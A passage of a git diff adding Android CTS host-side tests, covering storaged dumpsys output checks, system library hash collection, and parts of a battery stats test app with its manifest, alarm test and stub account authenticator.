+//                + ".ProcStatsHelperServiceSub,").replace("$U", uid),
+//                lines));
+
+    }
+}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
new file mode 100644
index 0000000..af6a3c9
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+
+import java.io.BufferedReader;
+import java.io.StringReader;
+import java.util.Map;
+
+/**
+ * Test to check the format of the dumps of the processstats test.
+ */
+public class StoragedDumpsysTest extends BaseDumpsysTest {
+    private static final String DEVICE_SIDE_TEST_APK = "CtsStoragedTestApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.storaged";
+
+    /**
+     * Tests the output of "dumpsys storaged --force --hours 0.01".
+     *
+     * @throws Exception
+     */
+    public void testStoragedOutput() throws Exception {
+        String result = mDevice.executeShellCommand("stat /proc/uid_io/stats");
+        if(result.contains("No such file or directory")) {
+            return;
+        }
+
+        if (mDevice.getAppPackageInfo(DEVICE_SIDE_TEST_APK) != null) {
+            getDevice().uninstallPackage(DEVICE_SIDE_TEST_APK);
+        }
+
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        mDevice.installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true);
+
+        mDevice.executeShellCommand("dumpsys storaged --force");
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
+                "com.android.server.cts.storaged.StoragedTest",
+                "testBackgroundIO");
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
+                "com.android.server.cts.storaged.StoragedTest",
+                "testForegroundIO");
+
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_APK);
+
+        String output = mDevice.executeShellCommand("dumpsys storaged --force --hours 0.01");
+        assertNotNull(output);
+        assertTrue(output.length() > 0);
+
+        boolean hasTestIO = false;
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(output))) {
+
+            String line;
+            String[] parts;
+            while ((line = reader.readLine()) != null) {
+                if (line.isEmpty()) {
+                    continue;
+                }
+
+                if (line.contains(",")) {
+                    parts = line.split(",");
+                    assertTrue(parts.length == 2);
+                    if (!parts[0].isEmpty()) {
+                        assertInteger(parts[0]);
+                    }
+                    assertInteger(parts[1]);
+                    continue;
+                }
+
+                parts = line.split(" ");
+                assertTrue(parts.length == 9);
+                for (int i = 1; i < parts.length; i++) {
+                    assertInteger(parts[i]);
+                }
+
+                if (parts[0].equals(DEVICE_SIDE_TEST_PACKAGE)) {
+                    assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
+                                Integer.parseInt(parts[8]) >= 8192);
+                    hasTestIO = true;
+                }
+            }
+
+            assertTrue(hasTestIO);
+        }
+    }
+}
diff --git a/hostsidetests/edi/Android.mk b/hostsidetests/edi/Android.mk
new file mode 100644
index 0000000..efa093f
--- /dev/null
+++ b/hostsidetests/edi/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsEdiHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/edi/AndroidTest.xml b/hostsidetests/edi/AndroidTest.xml
new file mode 100644
index 0000000..9449d72
--- /dev/null
+++ b/hostsidetests/edi/AndroidTest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS EDI host test cases">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsEdiHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/edi/src/android/edi/cts/LibraryDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/LibraryDeviceInfo.java
new file mode 100644
index 0000000..b9f83f4
--- /dev/null
+++ b/hostsidetests/edi/src/android/edi/cts/LibraryDeviceInfo.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.edi.cts;
+
+import com.android.compatibility.common.util.DeviceInfo;
+import com.android.compatibility.common.util.HostInfoStore;
+import com.android.ddmlib.FileListingService.FileEntry;
+import com.android.tradefed.device.IFileEntry;
+import com.android.tradefed.device.ITestDevice;
+
+import java.util.Arrays;
+
+public class LibraryDeviceInfo extends DeviceInfo {
+
+    private ITestDevice mDevice;
+
+    @Override
+    protected void collectDeviceInfo(HostInfoStore store) throws Exception {
+
+        mDevice = getDevice();
+
+        collectSystemLibs(store);
+        collectVendorLibs(store);
+        collectFrameworkJars(store);
+    }
+
+    private void collectSystemLibs(HostInfoStore store) throws Exception {
+        store.startArray("lib");
+        collectFileDetails(store, "/system/lib", ".so");
+        store.endArray();
+    }
+
+    private void collectVendorLibs(HostInfoStore store) throws Exception {
+        store.startArray("vendor_lib");
+        collectFileDetails(store, "/system/vendor/lib", ".so");
+        store.endArray();
+    }
+
+    private void collectFrameworkJars(HostInfoStore store) throws Exception {
+        store.startArray("framework_jar");
+        collectFileDetails(store, "/system/framework", ".jar");
+        store.endArray();
+    }
+
+    private void collectFileDetails(HostInfoStore store, String path, String suffix)
+            throws Exception {
+        IFileEntry dir = mDevice.getFileEntry(path);
+
+        if(dir == null || !dir.isDirectory()) {
+            return;
+        }
+
+        for (IFileEntry file : dir.getChildren(false)) {
+            String name = file.getName();
+            if (!file.isDirectory() && name.endsWith(suffix)) {
+                String sha1 = getSha1(file.getFullPath());
+                store.startGroup();
+                store.addResult("name", name);
+                store.addResult("sha1", sha1);
+                store.endGroup();
+            }
+        }
+    }
+
+    private String getSha1(String filePath) {
+        String sha1 = "unknown";
+        try {
+            String out = mDevice.executeShellCommand("sha1sum " + filePath);
+            sha1 = out.split(" ", 2)[0].toUpperCase();
+        } catch (Exception e) {
+            // Do nothing.
+        }
+        return sha1;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
new file mode 100644
index 0000000..b02fc19
--- /dev/null
+++ b/hostsidetests/incident/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsIncidentHostTestCases
+
+LOCAL_PROTOC_OPTIMIZE_TYPE := full
+LOCAL_STATIC_JAVA_LIBRARIES := platformprotos
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/incident/AndroidTest.xml b/hostsidetests/incident/AndroidTest.xml
new file mode 100644
index 0000000..f26092e
--- /dev/null
+++ b/hostsidetests/incident/AndroidTest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Incident host test cases">
+    <option name="config-descriptor:metadata" key="component" value="metrics" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsIncidentHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/incident/apps/Android.mk b/hostsidetests/incident/apps/Android.mk
new file mode 100644
index 0000000..4a74e80
--- /dev/null
+++ b/hostsidetests/incident/apps/Android.mk
@@ -0,0 +1,20 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
new file mode 100644
index 0000000..78f710b
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsBatteryStatsApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit org.apache.http.legacy
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
new file mode 100644
index 0000000..5e1198f
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.server.cts.device.batterystats" >
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.READ_SYNC_STATS" />
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
+
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+
+        <service android:name=".BatteryStatsBackgroundService" android:exported="true" />
+
+        <activity android:name=".BatteryStatsForegroundActivity" android:exported="true" />
+
+        <service android:name=".BatteryStatsWifiTransferTests$TransferService" android:exported="true" />
+
+        <service android:name=".SimpleForegroundService" android:exported="true" />
+
+        <service android:name=".SimpleJobService"
+                android:permission="android.permission.BIND_JOB_SERVICE" />
+
+        <activity android:name=".SimpleActivity" android:label="BatteryStats Test Activity" android:exported="true" />
+
+        <service android:name=".BatteryStatsAuthenticator"
+            android:exported="false">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+        <service android:name=".BatteryStatsSyncService"
+            android:exported="false" >
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter" />
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                android:resource="@xml/syncadapter" />
+        </service>
+
+        <provider android:name=".BatteryStatsProvider"
+            android:authorities="com.android.server.cts.device.batterystats.provider" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.server.cts.device.batterystats" />
+</manifest>
diff --git a/hostsidetests/incident/apps/batterystatsapp/res/values/strings.xml b/hostsidetests/incident/apps/batterystatsapp/res/values/strings.xml
new file mode 100644
index 0000000..20783ed
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="app_name">BatteryStats CTS</string>
+</resources>
diff --git a/hostsidetests/incident/apps/batterystatsapp/res/xml/authenticator.xml b/hostsidetests/incident/apps/batterystatsapp/res/xml/authenticator.xml
new file mode 100644
index 0000000..3c5a04c
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.android.server.cts.device.batterystats"
+    android:label="@string/app_name" />
diff --git a/hostsidetests/incident/apps/batterystatsapp/res/xml/syncadapter.xml b/hostsidetests/incident/apps/batterystatsapp/res/xml/syncadapter.xml
new file mode 100644
index 0000000..fca349c
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/res/xml/syncadapter.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority="com.android.server.cts.device.batterystats.provider"
+    android:accountType="com.android.server.cts.device.batterystats"
+/>
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
new file mode 100644
index 0000000..c49a824
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class BatteryStatsAlarmTest {
+    private static final String TAG = "BatteryStatsAlarmTest";
+
+    /**
+     * Set and fire a wakeup alarm 3 times.
+     */
+    @Test
+    public void testAlarms() throws Exception {
+        final int NUM_ALARMS = 3;
+
+        final Context context = InstrumentationRegistry.getContext();
+
+        final Intent intent = new Intent("com.android.server.cts.device.batterystats.ALARM");
+        final IntentFilter inf = new IntentFilter(intent.getAction());
+
+        final CountDownLatch latch = new CountDownLatch(NUM_ALARMS);
+
+        context.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.i(TAG, "Received: " + intent);
+                latch.countDown();
+            }}, inf);
+
+        final AlarmManager alm = context.getSystemService(AlarmManager.class);
+        for (int i = 0; i < NUM_ALARMS; i++) {
+            alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+                    SystemClock.elapsedRealtime() + (i + 1) * 1000,
+                    PendingIntent.getBroadcast(context, i, intent, 0));
+        }
+        assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAuthenticator.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAuthenticator.java
new file mode 100644
index 0000000..bfc5740
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAuthenticator.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.Arrays;
+
+/**
+ * Authenticator for the sync test.
+ */
+public class BatteryStatsAuthenticator extends Service {
+    private static final String TAG = "TestAuthenticator";
+
+    private static final String ACCOUNT_NAME = "BatteryStatsCts";
+    private static final String ACCOUNT_TYPE = "com.android.server.cts.device.batterystats";
+
+    private static Authenticator sInstance;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (sInstance == null) {
+            sInstance = new Authenticator(getApplicationContext());
+
+        }
+        return sInstance.getIBinder();
+    }
+
+    public static Account getTestAccount() {
+        return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
+    }
+
+    /**
+     * Adds the test account, if it doesn't exist yet.
+     */
+    public static void ensureTestAccount(Context context) {
+        final Account account = getTestAccount();
+
+        Bundle result = new Bundle();
+        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
+        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
+
+        final AccountManager am = context.getSystemService(AccountManager.class);
+
+        if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
+            am.addAccountExplicitly(account, "password", new Bundle());
+        }
+    }
+
+    /**
+     * Remove the test account.
+     */
+    public static void removeAllAccounts(Context context) {
+        final AccountManager am = context.getSystemService(AccountManager.class);
+
+        for (Account account : am.getAccountsByType(BatteryStatsAuthenticator.ACCOUNT_TYPE)) {
+            Log.i(TAG, "Removing " + account + "...");
+            am.removeAccountExplicitly(account);
+            Log.i(TAG, "Removed");
+        }
+    }
+
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private final Context mContxet;
+
+        public Authenticator(Context context) {
+            super(context);
+            mContxet = context;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+                String authTokenType, String[] requiredFeatures, Bundle options)
+                throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+                Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return "token_label";
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+                String[] features) throws NetworkErrorException {
+            return new Bundle();
+        }
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBackgroundService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBackgroundService.java
new file mode 100644
index 0000000..2118cb9
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBackgroundService.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.batterystats;
+
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_ACTION;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_REQUEST_CODE;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.doAction;
+
+import android.app.IntentService;
+import android.content.Intent;
+import android.util.Log;
+
+/** An service (to be run as a background process) which performs one of a number of actions. */
+public class BatteryStatsBackgroundService extends IntentService {
+    private static final String TAG = BatteryStatsBackgroundService.class.getSimpleName();
+
+    public BatteryStatsBackgroundService() {
+        super(BatteryStatsBackgroundService.class.getName());
+    }
+
+    @Override
+    public void onHandleIntent(Intent intent) {
+        String action = intent.getStringExtra(KEY_ACTION);
+        String requestCode = intent.getStringExtra(KEY_REQUEST_CODE);
+        Log.i(TAG, "Starting " + action + " from background service as request " + requestCode);
+
+        // Check that app is in background; crash if it isn't.
+        BatteryStatsBgVsFgActions.checkAppState(this, true, action, requestCode);
+
+        doAction(this, action, requestCode);
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
new file mode 100644
index 0000000..65237f9
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -0,0 +1,439 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.batterystats;
+
+import android.accounts.Account;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.net.wifi.WifiManager;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.util.Log;
+
+
+import org.junit.Assert;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class BatteryStatsBgVsFgActions {
